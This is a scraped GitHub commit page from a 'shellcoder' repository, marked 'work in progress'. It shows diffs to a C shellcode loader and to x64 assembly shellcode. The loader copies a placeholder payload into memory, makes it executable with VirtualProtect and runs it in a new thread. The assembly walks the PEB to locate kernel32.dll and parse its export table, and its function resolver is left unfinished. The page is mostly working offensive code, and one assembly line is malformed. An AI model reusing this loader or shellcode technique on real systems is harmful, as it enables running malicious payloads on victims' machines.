8000 work in progress · Print3M/shellcoder@c618b6a · GitHub
[go: up one dir, main page]
Skip to content

Commit c618b6a

Browse files
Print3MPrint3M
committed
work in progress
1 parent 6c25796 commit c618b6a

File tree

2 files changed

+58
-1
lines changed

2 files changed

+58
-1
lines changed

‎loader.c

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
#include <windows.h>
22
#include <stdio.h>
3+
34
unsigned char payload[] = ":PAYLOAD:";
45
unsigned int payload_len = sizeof(payload);
56

@@ -15,8 +16,9 @@ void main() {
1516
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
1617

1718
printf("[+] Exec...");
19+
1820
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
1921
WaitForSingleObject(th, -1);
20-
printf("[+] End...");
2122

23+
printf("[+] End...");
2224
}

‎shellcode.asm

Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,60 @@
11
[bits 64]
22

3+
; Access PEB structure
4+
xor rbx, rbx
5+
mov rbx, gs:[0x60] ; RBX = address of PEB struct
6+
mov rbx, [rbx+0x18] ; RBX = address of PEB_LDR_DATA
7+
mov rbx, rbx+0x20 ; RBX = address of InMemoryOrderModuleList
8+
9+
; Go down the double-link list of PEB_LDR_DATA
10+
mov rbx, [rbx] ; RBX = 1st entry in InMemoryOrderModuleList (ntdll.dll)
11+
mov rbx, [rbx] ; RBX = 2st entry in InMemoryOrderModuleList (kernelbase.dll)
12+
mov rbx, [rbx] ; RBX = 3st entry in InMemoryOrderModuleList (kernel32.dll)
13+
14+
; Get VA address of kernel32.dll
15+
mov rbx, [rbx+0x20] ; RBX = PEB_LDR_DATA.DllBase (address of kernel32.dll)
16+
mov r8, rbx ; R8 = RBX (address of kernel32.dll)
17+
18+
; Get VA address of ExportTable (kernel32.dll)
19+
mov ebx, [rbx+0x3c] ; RBX = IMAGE_DOS_HEADER.e_lfanew (PE hdrs offset)
20+
add rbx, r8 ; RBX = &kernel32.dll + PeHeaders offset = &PeHeaders
21+
22+
xor rcx, rcx
23+
add cx, 0x88 ; RCX = 0x88 (offset of ExportTable RVA)
24+
add rbx, [rbx+rcx] ; RBX = &PeHeaders + offset of ExportTable RVA = ExportTable RVA
25+
add rbx, r8 ; RBX = ExportTable RVA + &kernel32.dll = &ExportTable
26+
mov r9, rbx ; R9 = &ExportTable
27+
28+
; Get VA address of ExportTable.AddressOfFunctions
29+
xor r10, r10
30+
mov r10, [r9+0x1c] ; R10 = ExportTable.AddressOfFunctions RVA
31+
add r10, r8 ; R10 = &kernel32.dll + RVA = &AddressOfFunctions
32+
33+
; Get VA address of ExportTable.AddressOfNames
34+
xor r11, r11
35+
mov r11, [r9+0x20] ; R11 = ExportTable.AddressOfNames RVA
36+
add r11, r8 ; R11 = &kernel32.dll + RVA = &AddressOfNames
37+
38+
; Get VA address of ExportTable.AddressOfNameOrdinals
39+
xor r12, r12
40+
mov r12, [r9+0x24] ; R12 = ExportTable.AddressOfNameOrdinals RVA
41+
add r12, r8 ; R12 = &kernel32.dll + RVA = &AddressOfNameOrdinals
42+
43+
jmp short get_winapi_func
44+
45+
get_winapi_func:
46+
; Requirements:
47+
; R8 = &kernel32.dll
48+
; R10 = &AddressOfFunctions (ExportTable)
49+
; R11 = &AddressOfNames (ExportTable)
50+
; R12 = &AddressOfNameOrdinals (ExportTable)
51+
; Returns:
52+
; RAX = &winapi_func
53+
54+
55+
56+
; ==================================
57+
358
xor rdi, rdi ; RDI = 0x0
459
mul rdi ; RAX&RDX =0x0
560
mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB

0 commit comments

Comments
 (0)
0